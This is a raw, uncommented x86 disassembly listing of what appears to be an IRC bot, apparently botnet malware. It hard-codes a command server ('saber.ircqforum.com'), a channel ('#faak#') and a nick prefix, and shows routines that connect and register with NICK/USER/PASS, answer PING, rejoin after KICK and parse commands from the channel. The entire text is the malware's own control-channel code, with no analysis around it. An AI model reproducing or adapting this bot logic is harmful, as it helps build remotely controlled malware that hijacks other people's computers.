		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2770603h
		nop
		test	eax, eax
		jz	short loc_40E98C
		push	0C8h
		call	near ptr 2610E42h
		nop
		push	dword ptr [ebp-1Ch]
		mov	esi, dword_424078
		call	esi
		push	dword ptr [ebp-18h]
		call	esi
		call	dword_43ACF8
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_40E98C:				; CODE XREF: ___:0040E7E0j
					; ___:0040E962j
		cmp	dword_4CD9D0, 2
		jle	short loc_40E9D8
		mov	eax, dword_4CD9D4
		push	dword ptr [eax+4]
		call	sub_41781F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 2660AA6h
		push	esi
		nop
		call	near ptr 2640811h
		mov	eax, dword_4CD9D4
		cmp	[eax+8], ebx
		jz	short loc_40E9D8
		push	7D0h
		nop
		call	near ptr 2610E42h
		mov	eax, dword_4CD9D4
		push	dword ptr [eax+8]
		nop
		call	near ptr 27E0C9Bh

loc_40E9D8:				; CODE XREF: ___:0040E993j
					; ___:0040E9BDj
		cmp	dword_42F5C0, ebx
		jz	short loc_40E9F5
		cmp	dword_43AE68, ebx
		jnz	short loc_40E9F5
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_40C1AE
		pop	ecx

loc_40E9F5:				; CODE XREF: ___:0040E9DEj
					; ___:0040E9E6j
		lea	eax, [ebp-0E4h]
		push	offset dword_42F7C4
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp-0E4h]
		push	ebx
		push	eax
		call	sub_416D5C
		lea	eax, [ebp-0E4h]
		push	eax
		call	sub_40BF6D
		push	0B80h
		push	ebx
		push	offset dword_43FA70
		call	sub_417330
		call	sub_41730C
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CD5FC
		mov	dword_4CD770, ebx
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		mov	edi, offset dword_4CD67C
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_4CD74C, eax
		call	sub_418C10
		push	3Fh
		mov	esi, offset dword_4CD6BC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 48h
		mov	dword_4CD750, ebx

loc_40EA83:				; CODE XREF: ___:0040EB29j
					; ___:0040EB34j ...
		mov	[ebp-4], ebx

loc_40EA86:				; CODE XREF: ___:0040EADDj
		cmp	dword_43AE80, ebx
		jnz	short loc_40EAA4
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	dword_43ACDC
		test	eax, eax
		jnz	short loc_40EAA4
		push	7530h
		jmp	short loc_40EAD0
; ---------------------------------------------------------------------------

loc_40EAA4:				; CODE XREF: ___:0040EA8Cj
					; ___:0040EA9Bj
		push	offset dword_4CD5F8
		mov	dword_4CD76C, ebx
		call	sub_40EB92
		cmp	eax, 2
		mov	[ebp-8], eax
		jz	loc_40EB7E
		cmp	dword_4CD76C, ebx
		jz	short loc_40EACB
		dec	dword ptr [ebp-4]

loc_40EACB:				; CODE XREF: ___:0040EAC6j
		push	0BB8h

loc_40EAD0:				; CODE XREF: ___:0040EAA2j
		nop
		call	near ptr 2610E42h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_40EA86
		cmp	dword ptr [ebp-8], 2
		jz	loc_40EB7E
		cmp	[ebp-0Ch], ebx
		jz	short loc_40EB2E
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CD5FC
		call	sub_418C10
		mov	eax, dword_42F5A0
		push	3Fh
		push	offset aFaak	; "#faak#"
		push	edi
		mov	dword_4CD74C, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_40EA83
; ---------------------------------------------------------------------------

loc_40EB2E:				; CODE XREF: ___:0040EAECj
		cmp	byte_42F650, bl
		jz	loc_40EA83
		push	7Fh
		push	offset byte_42F650
		push	offset dword_4CD5FC
		call	sub_418C10
		mov	eax, dword_42F5A4
		push	3Fh
		push	offset aFaak_0	; "#faak#"
		push	edi
		mov	dword_4CD74C, eax
		call	sub_418C10
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_418C10
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_40EA83
; ---------------------------------------------------------------------------

loc_40EB7E:				; CODE XREF: ___:0040EABAj
					; ___:0040EAE3j
		call	sub_416F25

loc_40EB83:				; CODE XREF: ___:0040E74Aj
					; ___:0040E75Aj
		call	dword_43ACF8

loc_40EB89:				; CODE XREF: ___:0040E73Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB92	proc near		; CODE XREF: ___:0040EAAFp
					; DATA XREF: sub_40EE72+3B0Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_40EBB7:				; CODE XREF: sub_40EB92+E6j
					; sub_40EB92+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_43AD98
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40ADCA
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40ECE4
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_417330
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4CD760
		push	dword_42F5CC
		push	eax
		call	sub_415D01
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_440808
		push	edi
		push	eax
		call	sub_418C10
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_43AE18
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_4407FC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC7D
		push	esi
		call	dword_43AE30
		call	sub_40ADF3
		push	7D0h

loc_40EC72:				; CODE XREF: sub_40EB92+146j
		nop
		call	near ptr 2610E42h
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------

loc_40EC7D:				; CODE XREF: sub_40EB92+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_42F7F8
		call	sub_40BFE1
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40ECFA
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_43AE30
		test	edi, edi
		jz	loc_40EBB7
		cmp	edi, 1
		jnz	short loc_40ECDA
		push	0DBBA0h
		jmp	short loc_40EC72
; ---------------------------------------------------------------------------

loc_40ECDA:				; CODE XREF: sub_40EB92+13Fj
		cmp	edi, 2
		jz	short loc_40ECE8
		jmp	loc_40EBB7
; ---------------------------------------------------------------------------

loc_40ECE4:				; CODE XREF: sub_40EB92+5Aj
		xor	eax, eax
		jmp	short loc_40ECF4
; ---------------------------------------------------------------------------

loc_40ECE8:				; CODE XREF: sub_40EB92+14Bj
		push	[ebp+var_34]
		call	sub_417078
		pop	ecx
		push	2
		pop	eax

loc_40ECF4:				; CODE XREF: sub_40EB92+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40EB92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECFA	proc near		; CODE XREF: sub_40EB92+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx

loc_40ED18:				; CODE XREF: sub_40ECFA+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40ED18
		cmp	byte_4CD768, bl
		jz	short loc_40ED3F
		push	offset byte_4CD768
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40D633
		add	esp, 0Ch

loc_40ED3F:				; CODE XREF: sub_40ECFA+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_415D01
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EDA9
		push	[ebp+arg_0]
		call	dword_43AE30
		push	1388h
		call	near ptr 2610E42h
		nop

loc_40EDA2:				; CODE XREF: sub_40ECFA+D9j
					; sub_40ECFA+153j
		xor	eax, eax

loc_40EDA4:				; CODE XREF: sub_40ECFA+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40EDA9:				; CODE XREF: sub_40ECFA+92j
					; sub_40ECFA+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		test	eax, eax
		jle	short loc_40EDA2
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_40A868
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40EDA9
		lea	edi, [ebp+var_A10]

loc_40EDFA:				; CODE XREF: sub_40ECFA+165j
		push	1
		pop	esi

loc_40EDFD:				; CODE XREF: sub_40ECFA+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40EE72
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40EE40
		push	7D0h
		nop
		call	near ptr 2610E42h
		jmp	short loc_40EDFD
; ---------------------------------------------------------------------------

loc_40EE40:				; CODE XREF: sub_40ECFA+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40EE6A
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40EE66
		cmp	esi, 0FFFFFFFFh
		jz	loc_40EDA2
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40EDFA
		jmp	loc_40EDA9
; ---------------------------------------------------------------------------

loc_40EE66:				; CODE XREF: sub_40ECFA+14Ej
		push	1
		jmp	short loc_40EE6C
; ---------------------------------------------------------------------------

loc_40EE6A:				; CODE XREF: sub_40ECFA+149j
		push	2

loc_40EE6C:				; CODE XREF: sub_40ECFA+16Ej
		pop	eax
		jmp	loc_40EDA4
sub_40ECFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE72	proc near		; CODE XREF: sub_40ECFA+12Ap

var_15B0	= byte ptr -15B0h
var_11B0	= byte ptr -11B0h
var_FB0		= byte ptr -0FB0h
var_DB0		= byte ptr -0DB0h
var_CB0		= byte ptr -0CB0h
var_CAC		= byte ptr -0CACh
var_BAC		= byte ptr -0BACh
var_BA8		= byte ptr -0BA8h
var_AA8		= byte ptr -0AA8h
var_A28		= byte ptr -0A28h
var_9C7		= byte ptr -9C7h
var_9C6		= byte ptr -9C6h
var_9C4		= byte ptr -9C4h
var_9C3		= byte ptr -9C3h
var_9BA		= byte ptr -9BAh
var_9B8		= byte ptr -9B8h
var_9B6		= byte ptr -9B6h
var_9B5		= byte ptr -9B5h
var_928		= byte ptr -928h
var_90C		= dword	ptr -90Ch
var_908		= byte ptr -908h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
var_7FC		= byte ptr -7FCh
var_7F8		= dword	ptr -7F8h
var_7F4		= byte ptr -7F4h
var_7F0		= dword	ptr -7F0h
var_7EC		= dword	ptr -7ECh
var_7E8		= byte ptr -7E8h
var_780		= byte ptr -780h
var_774		= byte ptr -774h
var_770		= dword	ptr -770h
var_76C		= byte ptr -76Ch
var_768		= byte ptr -768h
var_75C		= byte ptr -75Ch
var_73C		= dword	ptr -73Ch
var_738		= byte ptr -738h
var_710		= dword	ptr -710h
var_708		= byte ptr -708h
var_6FC		= dword	ptr -6FCh
var_6F8		= byte ptr -6F8h
var_6F4		= byte ptr -6F4h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_6E8		= byte ptr -6E8h
var_6B8		= byte ptr -6B8h
var_681		= byte ptr -681h
var_680		= byte ptr -680h
var_678		= byte ptr -678h
var_670		= byte ptr -670h
var_66C		= byte ptr -66Ch
var_668		= byte ptr -668h
var_5F8		= byte ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= dword	ptr -564h
var_560		= dword	ptr -560h
var_55C		= byte ptr -55Ch
var_50C		= dword	ptr -50Ch
var_508		= byte ptr -508h
var_504		= dword	ptr -504h
var_500		= byte ptr -500h
var_4F4		= dword	ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= byte ptr -4E8h
var_4C0		= byte ptr -4C0h
var_4A0		= dword	ptr -4A0h
var_488		= byte ptr -488h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_458		= byte ptr -458h
var_444		= byte ptr -444h
var_434		= byte ptr -434h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_40C		= dword	ptr -40Ch
var_408		= byte ptr -408h
var_3FC		= byte ptr -3FCh
var_3F8		= byte ptr -3F8h
var_3D8		= byte ptr -3D8h
var_3B4		= byte ptr -3B4h
var_398		= byte ptr -398h
var_388		= byte ptr -388h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2EC		= word ptr -2ECh
var_2EA		= word ptr -2EAh
var_2E8		= dword	ptr -2E8h
var_2DC		= byte ptr -2DCh
var_DC		= dword	ptr -0DCh
var_D8		= byte ptr -0D8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 15B0h
		call	sub_417B30
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		mov	[ebp+var_C0], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_DC], ebx
		call	sub_417330
		push	1Bh
		lea	eax, [ebp+var_928]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40F239
		push	esi
		lea	eax, [ebp+var_FB0]
		push	ebx
		push	eax
		call	sub_417330
		dec	esi
		lea	eax, [ebp+var_FB0]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	offset asc_432E84 ; " :"
		push	eax
		call	sub_417880
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_FB0]
		push	esi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		mov	esi, offset asc_42A3B4 ; " "
		lea	eax, [ebp+var_11B0]
		push	esi
		push	eax
		call	sub_418B6E
		add	esp, 34h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_BC], 1Fh

loc_40EF45:				; CODE XREF: sub_40EE72+E7j
		push	esi
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_BC]
		pop	ecx
		jnz	short loc_40EF45
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40F239
		cmp	[ebp+var_90], ebx
		jz	loc_40F239
		push	100h
		lea	eax, [ebp+var_A28]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_40EF93:				; CODE XREF: sub_40EE72+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40EFBF
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40EFC7
		cmp	[eax+2], bl
		jnz	short loc_40EFC7
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A28], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_40EFBF:				; CODE XREF: sub_40EE72+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40EF93

loc_40EFC7:				; CODE XREF: sub_40EE72+12Aj
					; sub_40EE72+12Fj
		cmp	[ebp+var_9B5], bl
		jz	short loc_40EFD2
		mov	[ebp+var_8], edi

loc_40EFD2:				; CODE XREF: sub_40EE72+15Bj
		cmp	[ebp+var_9BA], bl
		jz	short loc_40EFE0
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_40EFE0:				; CODE XREF: sub_40EE72+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40F01A
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		push	offset asc_432E80 ; "!"
		push	eax
		call	sub_418B6E
		add	esp, 20h

loc_40F01A:				; CODE XREF: sub_40EE72+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F06B
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40F10F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		jmp	loc_40F10F
; ---------------------------------------------------------------------------

loc_40F06B:				; CODE XREF: sub_40EE72+1B7j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D3
		push	esi
		push	offset a005	; "005"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4150D3
		push	esi
		push	offset a302	; "302"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F0D3
		push	offset a@	; "@"
		push	[ebp+var_88]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40F10F
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_418C10
		jmp	short loc_40F10C
; ---------------------------------------------------------------------------

loc_40F0D3:				; CODE XREF: sub_40EE72+238j
		push	esi
		push	offset a433	; "433"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F116
		push	ebx
		push	dword_4CD760
		push	dword_42F5CC
		push	[ebp+arg_10]
		call	sub_415D01
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633

loc_40F10C:				; CODE XREF: sub_40EE72+25Fj
		add	esp, 0Ch

loc_40F10F:				; CODE XREF: sub_40EE72+1D8j
					; sub_40EE72+1F4j ...
		mov	eax, edi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_40F116:				; CODE XREF: sub_40EE72+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_BC], 2
		mov	edi, 80h

loc_40F128:				; CODE XREF: sub_40EE72+2DBj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F145
		mov	[ebp+var_AC], 1

loc_40F145:				; CODE XREF: sub_40EE72+2C7j
		add	esi, edi
		dec	[ebp+var_BC]
		jnz	short loc_40F128
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F241
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2

loc_40F174:				; CODE XREF: sub_40EE72+392j
		cmp	[esi], bl
		jz	loc_40F1FF
		push	7Fh
		lea	eax, [ebp+var_AA8]
		push	esi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_D8]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40F1FF
		cmp	[ebp+var_88], ebx
		jz	short loc_40F1FF
		push	[ebp+var_88]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F1FF
		lea	eax, [ebp+var_D8]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_432E04
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 14h

loc_40F1FF:				; CODE XREF: sub_40EE72+304j
					; sub_40EE72+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40F174
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F239
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_40F22E:				; CODE XREF: sub_40EE72+618j
					; sub_40EE72+978j
		push	[ebp+arg_4]
		call	sub_40D633

loc_40F236:				; CODE XREF: sub_40EE72+57D8j
					; sub_40EE72+57F5j ...
		add	esp, 10h

loc_40F239:				; CODE XREF: sub_40EE72+5Bj
					; sub_40EE72+F1j ...
		push	1

loc_40F23B:				; CODE XREF: sub_40EE72+5CEBj
		pop	eax

loc_40F23C:				; CODE XREF: sub_40EE72+29Fj
					; sub_40EE72+229Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40F241:				; CODE XREF: sub_40EE72+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F397
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax

loc_40F26A:				; CODE XREF: sub_40EE72+44Aj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2B7
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40F2B7
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_1C]
		push	edi
		call	sub_4179D0
		add	esp, 10h
		mov	edi, 80h

loc_40F2B7:				; CODE XREF: sub_40EE72+409j
					; sub_40EE72+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40F26A
		lea	eax, [ebp+var_D8]
		test	eax, eax
		jz	loc_40F239
		cmp	[ebp+arg_24], ebx
		jz	loc_40F239
		push	[ebp+arg_10]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F2FF
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F2FF:				; CODE XREF: sub_40EE72+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40F304:				; CODE XREF: sub_40EE72+4B3j
		cmp	[edi], bl
		jz	short loc_40F31B
		lea	eax, [ebp+var_AA8]
		push	eax
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F32C

loc_40F31B:				; CODE XREF: sub_40EE72+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F304
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_40F32C:				; CODE XREF: sub_40EE72+4A7j
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	eax
		call	sub_417AB0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40F239
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_0	; ":%s%s"
		push	esi
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_4C0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		jmp	loc_40F239
; ---------------------------------------------------------------------------

